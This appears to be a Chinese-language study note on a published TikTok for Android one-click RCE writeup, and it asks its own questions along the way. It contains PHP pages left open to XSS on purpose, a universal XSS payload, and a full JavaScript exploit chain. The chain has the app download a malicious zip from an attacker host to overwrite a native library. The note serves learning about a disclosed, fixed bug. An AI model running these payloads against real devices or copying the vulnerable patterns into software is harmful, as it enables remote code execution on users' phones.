TikTok for Android 1-Click RCE 原文地址:传送门
作者Sayed Abdelhafiz, 需要科学。
主要阅读 + 理解其漏洞探寻和利用的过程。Let’s begin!
1
这一部分主要提到了tiktok上的一个XSS, 什么是XSS?
XSS
cross-site script 跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
仿照别人写了两段不加防范的网页,容易被XSS攻击。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="input">
<input type="submit">
</form>
<br>
<?php
$XssReflex = $_GET['input'];
echo 'output:<br>'.$XssReflex;
?>
</body>
</html>
效果是这样,用一些小小的技巧,就能将一段自己的script注入。
然后这个网页
<span style="font-size:18px;"><meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<html>
<head>
<title>XssStorage</title>
</head>
<body>
<h2>Message Board<h2>
<br>
<form action="2.php" method="post">
Message:<textarea id='Mid' name="desc"></textarea>
<br>
<br>
Subuser:<input type="text" name="user"/><br>
<br>
<input type="submit" value="submit" onclick='loction="2.php"'/>
</form>
<?php
if(isset($_POST['user'])&&isset($_POST['desc'])){
$log=fopen("sql.txt","a");
fwrite($log,$_POST['user']."\r\n");
fwrite($log,$_POST['desc']."\r\n");
fclose($log);
}
if(file_exists("sql.txt"))
{
$read= fopen("sql.txt",'r');
while(!feof($read))
{
echo fgets($read)."</br>";
}
fclose($read);
}
?>
</body>
</html></span>
这次会将获得的输入保存在模拟的数据库中,下次打开网页会从数据库中获取数据。这样,通过精心设计的输入,可以让破坏被注入数据库,下次打开网页效果还会保持:
最终的html中也被注入了alert语句
2
作者注意到,为了计算性能等原因,tiktok在加载页面后会通过android webview中的
public void evaluateJavascript(String script,
android.webkit.ValueCallback<String> resultCallback)
这个函数执行下面这段js代码:
JSON.stringify(window.performance.getEntriesByName('this.webviewURL') )
引号中的this.webviewURL 为从网页获取的一段字符串
qs: 这个webviewURL是从哪里输入获得的?
作者最终用 https://m.tiktok.com/falcon/#’),alert(1));// 作为this.webviewURL,则被执行的语句替换为了:
JSON.stringify(
window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),
alert(1)
);//') )
这样就能执行alert函数了。
这是一个Universal XSS, 类似m.tiktok.com/falcon/ 的链接都会触发类似的逻辑。
3
I have enabled WebViewDebug module to debug the WebView from my dev-tools in google chrome.
qs: 这一步不知道是什么操作?
webview支持intent,作者尝试用这种方式将控制转移到外部逻辑。但是遇到了2-click exploits问题。
4
之后他通过一些手段绕过了AddWikiActivity 的url validation ,主要想法是看到这样的验证代码:
if(!e.b(arg8)) {
com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid.");
return false;
}
public static boolean b(String arg1) {
return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);
}
tiktop的代码逻辑认为,如果不是http或者https的scheme,就不需要做验证了,因为肯定是无效的!所以可以在这里找机会注入我们的代码。
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3E PoC %3C%2Fh1%3E%22)&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
}));
qs: 这个函数在干什么?那一长串是什么格式? 我找到里面document.write(…PoC…) 这部分了,但是是怎么断句,把控制权转移出来的?
5
这一步是想要通过下面的语句调用 UserFavoritesActivity
location.replace("intent:#Intent; component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity; package=com.zhiliaoapp.musically; action=android.intent.action.VIEW;end;"
)
为了方便我把字符串分开了。
location.replace方法以给定的URL来替换当前的资源。
具体的语义还未深入了解,初步观察应该这个url就是通过intent调用 UserFavoritesActivity吧。
6
现在漏洞和注入的方式找到了,作者开始尝试通过将控制转移到一个下载/更新/安装的process TmaTestActivity,作者希望通过以特定的参数调用这个intent,最终达到用自己的文件覆盖库文件的目的。
来看看过程,作者是结合自己逆向出的代码反推整体的逻辑。
private final void updateJssdk(Context arg5, Uri arg6, TmaTestCallback arg7) {
String v0 = arg6.getQueryParameter("sdkUpdateVersion");
String v1 = arg6.getQueryParameter("sdkVersion");
String v6 = arg6.getQueryParameter("latestSDKUrl");
SharedPreferences.Editor v2 = BaseBundleDAO.getJsSdkSP(arg5).edit();
v2.putString("sdk_update_version", v0).apply();
v2.putString("sdk_version", v1).apply();
v2.putString("latest_sdk_url", v6).apply();
// !!!
DownloadBaseBundleHandler v6_1 = new DownloadBaseBundleHandler();
//
BundleHandlerParam v0_1 = new BundleHandlerParam();
v6_1.setInitialParam(arg5, v0_1);
// !!!
ResolveDownloadHandler v5 = new ResolveDownloadHandler();
//
v6_1.setNextHandler(((BaseBundleHandler)v5));
// !!!
SetCurrentProcessBundleVersionHandler v6_2 = new SetCurrentProcessBundleVersionHandler();
//
v5.setNextHandler(((BaseBundleHandler)v6_2));
}
整体步骤有3个函数,我在上面用!!!标出来了。
public BundleHandlerParam handle(Context arg14, BundleHandlerParam arg15) {
// .....
String v0 = BaseBundleManager.getInst().getSdkCurrentVersionStr(arg14);
String v8 = BaseBundleDAO.getJsSdkSP(arg14).getString("sdk_update_version", "");
// .....
if(AppbrandUtil.convertVersionStrToCode(v0) >= AppbrandUtil.convertVersionStrToCode(v8) && (BaseBundleManager.getInst().isRealBaseBundleReadyNow())) {
InnerEventHelper.mpLibResult("mp_lib_validation_result", v0, v8, "no_update", "", -1L);
v10.appendLog("no need update remote basebundle version");
arg15.isIgnoreTask = true;
return arg15;
}
// .....
this.startDownload(v9, v10, arg15, v0, v8);
// .....
先看第一个函数,用来检查要安装的版本(通过sdkUpdateVersion这个参数获得)是否新于现有的版本,如果是才会更新。所以作者将这个参数设置为99.99.99。
顺着逻辑继续,是这样一段代码(作者说在startDownload 这个方法里)
// in startDownload Method
v2.a = StorageUtil.getExternalCacheDir(AppbrandContext.getInst().getApplicationContext()).getPath();
v2.b = this.getMd5FromUrl(arg16);
-
v2.a 是下载路径,这里有一个问题是AppbrandContext需要实例化,作者花费了一些时间找到了他实例化的地方:
“
preloadMiniApp
通过调用功能ToutiaoJSBridge
可以为我初始化实例!”, 稍后看看他怎么调用了这个功能。 -
v2.b是下载文件的md5sum值。这是什么?我大概查了一下:通过MD5值,来判断自己down的文件与服务器上的文件是否一致。也可以比较两个文件是否相同。不管了,暂时当作是一个校验和吧。
这个值通过参数中的文件名直接获得:
private String getMd5FromUrl(String arg3) { return arg3.substring(arg3.lastIndexOf("_") + 1, arg3.lastIndexOf(".")); }
命名方式需要按照:anything_{md5sum_of_file}.zip
然后就是解压和安装,代码有点长不粘贴在这里,放在his.java中了。就把他提到的一个小的注意点粘过来:
if((arg7) && !TextUtils.isEmpty(v1) && (v1.contains("../"))) { // Are you notice arg7?
goto label_2;
}
这里需要设置arg7 = 0 跳过检查。
搞清楚逻辑后,最后注入的代码就是:
location.replace(
"intent:#Intent; component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity; package=com.zhiliaoapp.musically; action=android.intent.action.VIEW; end;")
document.title = "Loading..";
document.write("<h1>Loading..</h1>");
if (document && window.name != "finished") { // the XSS will be fired multiple time before loading the page and after. this condition to make sure that the payload won't fire multiple time.
window.name = "finished";
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "preloadMiniApp",
"__msg_type": "callback",
"params": {
"mini_app_url": "https://microapp/"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://d.c/"
})); // initialize Mini App
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
//
"schema": "aweme://wiki?url=javascript:location.replace(
%22 intent%3A%2F%2Fwww.google.com.eg%2F%3Faction%3DsdkUpdate%26latestSDKUrl%3Dhttp%3A%2F%2F{ATTACKER_HOST}
%2Flibran_a1ef01b09a3d9400b77144bbf9ad59b1.zip
%26sdkUpdateVersion%3D1.87.1.11%23
Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically
%2Fcom.tt.miniapp.tmatest.TmaTestActivity
%3Bpackage%3Dcom.zhiliaoapp.musically%
3Baction
%3Dandroid.intent.action.VIEW%3Bend%22)
%3B%0A&noRedirect=false&title=First%20Stage&disable_app_link=false"
},
///
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
})); // Download malicious zip file that will overwite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
setTimeout(function() {
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
//
"schema": "aweme://wiki?url=javascript:location.replace(
%22intent%3A%23Intent%3Bscheme%3Dhttps%3Bcomponent
%3Dcom.zhiliaoapp.musically
%2Fcom.tt.miniapphost.placeholder.MiniappTabActivity0
%3Bpackage%3Dcom.zhiliaoapp.musically
%3BS.miniapp_url%3Dhttps%3Bend%22)
%3B%0A&noRedirect=false&title=Second%20Stage&disable_app_link=false"
},
/
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
})); // load the malicious library after overwrtting it.
}, 5000);
}
注入的核心是两个很长的字符串,调用了前面说的location.replace来转移控制。我在代码中将很长的字符串分解开来了,并前后用注释符标注,方便观看。
前面这个主要是执行一开始的目标,TmaTestActivity。
后面这个的作用是:上述流程一般只有在重启app的时候才会发生,通过调用MiniappTabActivity0可以替代重启。
然后攻击就成功了。不久后tiktok修复了这个漏洞。